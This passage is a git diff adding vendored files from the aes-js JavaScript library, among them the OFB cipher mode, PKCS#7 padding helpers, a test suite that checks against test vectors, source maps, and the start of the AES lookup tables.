b/node_modules/aes-js/lib.commonjs/mode-ofb.js @@ -0,0 +1,61 @@ +"use strict"; +// Output Feedback +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _OFB_iv, _OFB_lastPrecipher, _OFB_lastPrecipherIndex; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.OFB = void 0; +const mode_js_1 = require("./mode.js"); +class OFB extends mode_js_1.ModeOfOperation { + constructor(key, iv) { + super("OFB", key, OFB); + _OFB_iv.set(this, void 0); + _OFB_lastPrecipher.set(this, void 0); + _OFB_lastPrecipherIndex.set(this, void 0); + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + __classPrivateFieldSet(this, _OFB_iv, new Uint8Array(iv), "f"); + } + else { + __classPrivateFieldSet(this, _OFB_iv, new Uint8Array(16), "f"); + } + __classPrivateFieldSet(this, _OFB_lastPrecipher, this.iv, "f"); + __classPrivateFieldSet(this, _OFB_lastPrecipherIndex, 16, "f"); + } + get iv() { return new Uint8Array(__classPrivateFieldGet(this, _OFB_iv, "f")); } + encrypt(plaintext) { + var _a, _b; + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + const ciphertext = new Uint8Array(plaintext); + for (let i = 0; i < ciphertext.length; i++) { + if (__classPrivateFieldGet(this, _OFB_lastPrecipherIndex, "f") === 16) { + __classPrivateFieldSet(this, _OFB_lastPrecipher, this.aes.encrypt(__classPrivateFieldGet(this, _OFB_lastPrecipher, "f")), "f"); + __classPrivateFieldSet(this, _OFB_lastPrecipherIndex, 0, "f"); + } + ciphertext[i] ^= __classPrivateFieldGet(this, _OFB_lastPrecipher, "f")[__classPrivateFieldSet(this, _OFB_lastPrecipherIndex, (_b = __classPrivateFieldGet(this, _OFB_lastPrecipherIndex, "f"), _a = _b++, _b), "f"), _a]; + } + return ciphertext; + } + decrypt(ciphertext) { + if (ciphertext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + return this.encrypt(ciphertext); + } +} +exports.OFB = OFB; +_OFB_iv = new WeakMap(), _OFB_lastPrecipher = new WeakMap(), _OFB_lastPrecipherIndex = new WeakMap(); +//# sourceMappingURL=mode-ofb.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ofb.js.map b/node_modules/aes-js/lib.commonjs/mode-ofb.js.map new file mode 100644 index 000000000000..fbe932a5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AC,GAAG,CAAC,OAAO,CAAC,uBAAA,IAAI,0BAAe,CAAC,MAAA,CAAC;gBAC5D,uBAAA,IAAI,2BAAuB,CAAC,MAAA,CAAC;aAChC;YACD,UAAU,CAAC,CAAC,CAAC,IAAI,uBAAA,IAAI,0BAAe,CAAC,sDAAA,CAAA,+DAAwB,EAAxB,KAAA,IAA0B,IAAA,CAAA,MAAA,IAAA,CAAC,CAAC;SAClE;QAED,OAAO,UAAU,CAAC;IACpB,CAAC;IAED,OAAO,CAAC,UAAsB;QAC5B,IAAI,UAAU,CAAC,MAAM,GAAG,EAAE,EAAE;YACxB,MAAM,IAAI,SAAS,CAAC,wDAAwD,CAAC,CAAC;SACjF;QACD,OAAO,IAAI,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;IAClC,CAAC;CACF;AA9CD,kBA8CC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode.d.ts b/node_modules/aes-js/lib.commonjs/mode.d.ts new file mode 100644 index 000000000000..825bba7c9976 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode.d.ts @@ -0,0 +1,9 @@ +import { AES } from "./aes.js"; +export declare abstract class ModeOfOperation { + readonly aes: AES; + readonly name: string; + constructor(name: string, key: Uint8Array, cls?: any); + abstract encrypt(plaintext: Uint8Array): Uint8Array; + abstract decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode.d.ts.map b/node_modules/aes-js/lib.commonjs/mode.d.ts.map new file mode 100644 index 000000000000..d3a09ec6e2ce --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode.d.ts","sourceRoot":"","sources":["../src.ts/mode.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,GAAG,EAAE,MAAM,UAAU,CAAC;AAE/B,8BAAsB,eAAe;IACnC,QAAQ,CAAC,GAAG,EAAG,GAAG,CAAC;IACnB,QAAQ,CAAC,IAAI,EAAG,MAAM,CAAC;gBAEX,IAAI,EAAE,MAAM,EAAE,GAAG,EAAE,UAAU,EAAE,GAAG,CAAC,EAAE,GAAG;IAWpD,QAAQ,CAAC,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IACnD,QAAQ,CAAC,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CACrD"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode.js b/node_modules/aes-js/lib.commonjs/mode.js new file mode 100644 index 000000000000..be251617b913 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode.js @@ -0,0 +1,17 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ModeOfOperation = void 0; +const aes_js_1 = require("./aes.js"); +class ModeOfOperation { + constructor(name, key, cls) { + if (cls && !(this instanceof cls)) { + throw new Error(`${name} must be instantiated with "new"`); + } + Object.defineProperties(this, { + aes: { enumerable: true, value: new aes_js_1.AES(key) }, + name: { enumerable: true, value: name } + }); + } +} +exports.ModeOfOperation = ModeOfOperation; +//# sourceMappingURL=mode.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode.js.map b/node_modules/aes-js/lib.commonjs/mode.js.map new file mode 100644 index 000000000000..3076b72b8e95 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mode.js","sourceRoot":"","sources":["../src.ts/mode.ts"],"names":[],"mappings":";;;AACA,qCAA+B;AAE/B,MAAsB,eAAe;IAInC,YAAY,IAAY,EAAE,GAAe,EAAE,GAAS;QAClD,IAAI,GAAG,IAAI,CAAC,CAAC,IAAI,YAAY,GAAG,CAAC,EAAE;YACjC,MAAM,IAAI,KAAK,CAAC,GAAI,IAAK,kCAAkC,CAAC,CAAC;SAC9D;QAED,MAAM,CAAC,gBAAgB,CAAC,IAAI,EAAE;YAC5B,GAAG,EAAE,EAAE,UAAU,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,YAAG,CAAC,GAAG,CAAC,EAAE;YAC9C,IAAI,EAAE,EAAE,UAAU,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE;SACxC,CAAC,CAAC;IACL,CAAC;CAIF;AAjBD,0CAiBC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/package.json b/node_modules/aes-js/lib.commonjs/package.json new file mode 100644 index 000000000000..5bbefffbabee --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/package.json @@ -0,0 +1,3 @@ +{ + "type": "commonjs" +} diff --git a/node_modules/aes-js/lib.commonjs/padding.d.ts b/node_modules/aes-js/lib.commonjs/padding.d.ts new file mode 100644 index 000000000000..aaff7105a79a --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/padding.d.ts @@ -0,0 +1,3 @@ +export declare function pkcs7Pad(data: Uint8Array): Uint8Array; +export declare function pkcs7Strip(data: Uint8Array): Uint8Array; +//# sourceMappingURL=padding.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/padding.d.ts.map b/node_modules/aes-js/lib.commonjs/padding.d.ts.map new file mode 100644 index 000000000000..1d958fb6fb26 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/padding.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"padding.d.ts","sourceRoot":"","sources":["../src.ts/padding.ts"],"names":[],"mappings":"AACA,wBAAgB,QAAQ,CAAC,IAAI,EAAE,UAAU,GAAG,UAAU,CAWrD;AAED,wBAAgB,UAAU,CAAC,IAAI,EAAE,UAAU,GAAG,UAAU,CAcvD"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/padding.js b/node_modules/aes-js/lib.commonjs/padding.js new file mode 100644 index 000000000000..7a237ebd70b4 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/padding.js @@ -0,0 +1,31 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.pkcs7Strip = exports.pkcs7Pad = void 0; +function pkcs7Pad(data) { + const padder = 16 - (data.length % 16); + const result = new Uint8Array(data.length + padder); + result.set(data); + for (let i = data.length; i < result.length; i++) { + result[i] = padder; + } + return result; +} +exports.pkcs7Pad = pkcs7Pad; +function pkcs7Strip(data) { + if (data.length < 16) { + throw new TypeError('PKCS#7 invalid length'); + } + const padder = data[data.length - 1]; + if (padder > 16) { + throw new TypeError('PKCS#7 padding byte out of range'); + } + const length = data.length - padder; + for (let i = 0; i < padder; i++) { + if (data[length + i] !== padder) { + throw new TypeError('PKCS#7 invalid padding byte'); + } + } + return new Uint8Array(data.subarray(0, length)); +} +exports.pkcs7Strip = pkcs7Strip; +//# sourceMappingURL=padding.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/padding.js.map b/node_modules/aes-js/lib.commonjs/padding.js.map new file mode 100644 index 000000000000..036db5dad639 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/padding.js.map @@ -0,0 +1 @@ +{"version":3,"file":"padding.js","sourceRoot":"","sources":["../src.ts/padding.ts"],"names":[],"mappings":";;;AACA,SAAgB,QAAQ,CAAC,IAAgB;IACrC,MAAM,MAAM,GAAG,EAAE,GAAG,CAAC,IAAI,CAAC,MAAM,GAAG,EAAE,CAAC,CAAC;IAEvC,MAAM,MAAM,GAAG,IAAI,UAAU,CAAC,IAAI,CAAC,MAAM,GAAG,MAAM,CAAC,CAAC;IACpD,MAAM,CAAC,GAAG,CAAC,IAAI,CAAC,CAAC;IAEjB,KAAK,IAAI,CAAC,GAAG,IAAI,CAAC,MAAM,EAAE,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,CAAC,EAAE,EAAE;QAC9C,MAAM,CAAC,CAAC,CAAC,GAAG,MAAM,CAAC;KACtB;IAED,OAAO,MAAM,CAAC;AAClB,CAAC;AAXD,4BAWC;AAED,SAAgB,UAAU,CAAC,IAAgB;IACvC,IAAI,IAAI,CAAC,MAAM,GAAG,EAAE,EAAE;QAAE,MAAM,IAAI,SAAS,CAAC,uBAAuB,CAAC,CAAC;KAAE;IAEvE,MAAM,MAAM,GAAG,IAAI,CAAC,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IACrC,IAAI,MAAM,GAAG,EAAE,EAAE;QAAE,MAAM,IAAI,SAAS,CAAC,kCAAkC,CAAC,CAAC;KAAE;IAE7E,MAAM,MAAM,GAAG,IAAI,CAAC,MAAM,GAAG,MAAM,CAAC;IACpC,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,MAAM,EAAE,CAAC,EAAE,EAAE;QAC7B,IAAI,IAAI,CAAC,MAAM,GAAG,CAAC,CAAC,KAAK,MAAM,EAAE;YAC7B,MAAM,IAAI,SAAS,CAAC,6BAA6B,CAAC,CAAC;SACtD;KACJ;IAED,OAAO,IAAI,UAAU,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;AACpD,CAAC;AAdD,gCAcC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/tests.d.ts b/node_modules/aes-js/lib.commonjs/tests.d.ts new file mode 100644 index 000000000000..90993be87fd0 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/tests.d.ts @@ -0,0 +1,2 @@ +export {}; +//# sourceMappingURL=tests.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/tests.d.ts.map b/node_modules/aes-js/lib.commonjs/tests.d.ts.map new file mode 100644 index 000000000000..0305ca8853e1 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/tests.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"tests.d.ts","sourceRoot":"","sources":["../src.ts/tests.ts"],"names":[],"mappings":""} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/tests.js b/node_modules/aes-js/lib.commonjs/tests.js new file mode 100644 index 000000000000..b80a1123f33b --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/tests.js @@ -0,0 +1,109 @@ +"use strict"; +var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) { + if (k2 === undefined) k2 = k; + var desc = Object.getOwnPropertyDescriptor(m, k); + if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { + desc = { enumerable: true, get: function() { return m[k]; } }; + } + Object.defineProperty(o, k2, desc); +}) : (function(o, m, k, k2) { + if (k2 === undefined) k2 = k; + o[k2] = m[k]; +})); +var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) { + Object.defineProperty(o, "default", { enumerable: true, value: v }); +}) : function(o, v) { + o["default"] = v; +}); +var __importStar = (this && this.__importStar) || function (mod) { + if (mod && mod.__esModule) return mod; + var result = {}; + if (mod != null) for (var k in mod) if (k !== "default" && Object.prototype.hasOwnProperty.call(mod, k)) __createBinding(result, mod, k); + __setModuleDefault(result, mod); + return result; +}; +var __importDefault = (this && this.__importDefault) || function (mod) { + return (mod && mod.__esModule) ? mod : { "default": mod }; +}; +Object.defineProperty(exports, "__esModule", { value: true }); +const assert_1 = __importDefault(require("assert")); +const fs_1 = __importDefault(require("fs")); +const path_1 = require("path"); +const aes = __importStar(require("./index.js")); +const root = (function () { + let root = process.cwd(); + while (true) { + if (fs_1.default.existsSync((0, path_1.join)(root, "package.json"))) { + return root; + } + const parent = (0, path_1.join)(root, ".."); + if (parent === root) { + break; + } + root = parent; + } + throw new Error("could not find root"); +})(); +describe("Tests Encrypting and Decrypting", function () { + const json = fs_1.default.readFileSync((0, path_1.resolve)(root, "./test/test-vectors.json")).toString(); + const tests = JSON.parse(json); + function getCrypter(key, test) { + switch (test.modeOfOperation) { + case "ctr": + return new aes.CTR(key, 0); + case "cbc": + return new aes.CBC(key, Buffer.from(test.iv)); + case "cfb": + return new aes.CFB(key, Buffer.from(test.iv), test.segmentSize * 8); + case "ecb": + return new aes.ECB(key); + case "ofb": + return new aes.OFB(key, Buffer.from(test.iv)); + } + return null; + } + tests.forEach((test, index) => { + it(`tests encrypting: ${test.modeOfOperation}.${index}`, function () { + const encrypter = getCrypter(Buffer.from(test.key), test); + if (!encrypter) { + this.skip(); + } + for (let i = 0; i < test.plaintext.length; i++) { + const plaintext = Buffer.from(test.plaintext[i]); + const ciphertext = Buffer.from(test.encrypted[i]); + const result = Buffer.from(encrypter.encrypt(plaintext)); + assert_1.default.ok(ciphertext.equals(result), "encrypting failed"); + } + }); + it(`tests decrypting: ${test.modeOfOperation}.${index}`, function () { + const decrypter = getCrypter(Buffer.from(test.key), test); + if (!decrypter) { + this.skip(); + } + for (let i = 0; i < test.plaintext.length; i++) { + const plaintext = Buffer.from(test.plaintext[i]); + const ciphertext = Buffer.from(test.encrypted[i]); + const result = Buffer.from(decrypter.decrypt(ciphertext)); + assert_1.default.ok(plaintext.equals(result), "decrypting failed"); + } + }); + }); +}); +describe("Tests Padding", function () { + for (let size = 0; size < 100; size++) { + it(`tests padding: length=${size}`, function () { + // Create a random piece of data + const data = new Uint8Array(size); + data.fill(42); + // Pad it + const padded = aes.pkcs7Pad(data); + assert_1.default.ok((padded.length % 16) === 0, "Failed to pad to block size"); + assert_1.default.ok(data.length <= padded.length && padded.length <= data.length + 16, "Padding went awry"); + assert_1.default.ok(padded[padded.length - 1] >= 1 && padded[padded.length - 1] <= 16, "Failed to pad to block size"); + // Trim it + const trimmed = aes.pkcs7Strip(padded); + assert_1.default.ok(Buffer.from(data).equals(trimmed), "Failed to trim to original data"); + }); + } +}); +//# sourceMappingURL=tests.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/tests.js.map b/node_modules/aes-js/lib.commonjs/tests.js.map new file mode 100644 index 000000000000..359da966b11e --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/tests.js.map @@ -0,0 +1 @@ +{"version":3,"file":"tests.js","sourceRoot":"","sources":["../src.ts/tests.ts"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA,oDAA2B;AAC3B,4CAAoB;AACpB,+BAAqC;AAErC,gDAAkC;AAclC,MAAM,IAAI,GAAG,CAAC;IACZ,IAAI,IAAI,G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CAAC,EAAE,CAAC,MAAM,CAAC,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,IAAI,CAAC,IAAI,MAAM,CAAC,MAAM,CAAC,MAAM,GAAG,CAAC,CAAC,IAAI,EAAE,EAAE,6BAA6B,CAAC,CAAC;YAE5G,UAAU;YACV,MAAM,OAAO,GAAG,GAAG,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC;YACvC,gBAAM,CAAC,EAAE,CAAC,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC,MAAM,CAAC,OAAO,CAAC,EAAE,iCAAiC,CAAC,CAAC;QAClF,CAAC,CAAC,CAAC;KACJ;AACH,CAAC,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/README.md b/node_modules/aes-js/lib.esm/README.md new file mode 100644 index 000000000000..f2188af7966b --- /dev/null +++ b/node_modules/aes-js/lib.esm/README.md @@ -0,0 +1,6 @@ +Gerneated Code (ESM) +==================== + +Do not modify code in this folder. + +See `/src.ts/` and `/tsconfig.esm.json`. diff --git a/node_modules/aes-js/lib.esm/aes.d.ts b/node_modules/aes-js/lib.esm/aes.d.ts new file mode 100644 index 000000000000..2a26aff55931 --- /dev/null +++ b/node_modules/aes-js/lib.esm/aes.d.ts @@ -0,0 +1,9 @@ +/*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */ +export declare class AES { + #private; + get key(): Uint8Array; + constructor(key: Uint8Array); + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=aes.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/aes.d.ts.map b/node_modules/aes-js/lib.esm/aes.d.ts.map new file mode 100644 index 000000000000..a3c66c79ba59 --- /dev/null +++ b/node_modules/aes-js/lib.esm/aes.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"aes.d.ts","sourceRoot":"","sources":["../src.ts/aes.ts"],"names":[],"mappings":"AAAA,uFAAuF;AAsCvF,qBAAa,GAAG;;IAKd,IAAI,GAAG,IAAI,UAAU,CAA8B;gBAEvC,GAAG,EAAE,UAAU;IA+F3B,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAwC1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAuC5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.esm/aes.js b/node_modules/aes-js/lib.esm/aes.js new file mode 100644 index 000000000000..2945db24bd90 --- /dev/null +++ b/node_modules/aes-js/lib.esm/aes.js @@ -0,0 +1,198 @@ +/*! MIT License. Copyright 2015-2022 Richard Moore . See LICENSE.txt. */ +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var _AES_key, _AES_Kd, _AES_Ke; +// Number of rounds by keysize +const numberOfRounds = { 16: 10, 24: 12, 32: 14 }; +// Round constant words +const rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91]; +// S-box and Inverse S-box (S is for Substitution) +const S = [0x63, 0x7c, 0x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e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]; +// Transformations for encryption +const T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a]; +const T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 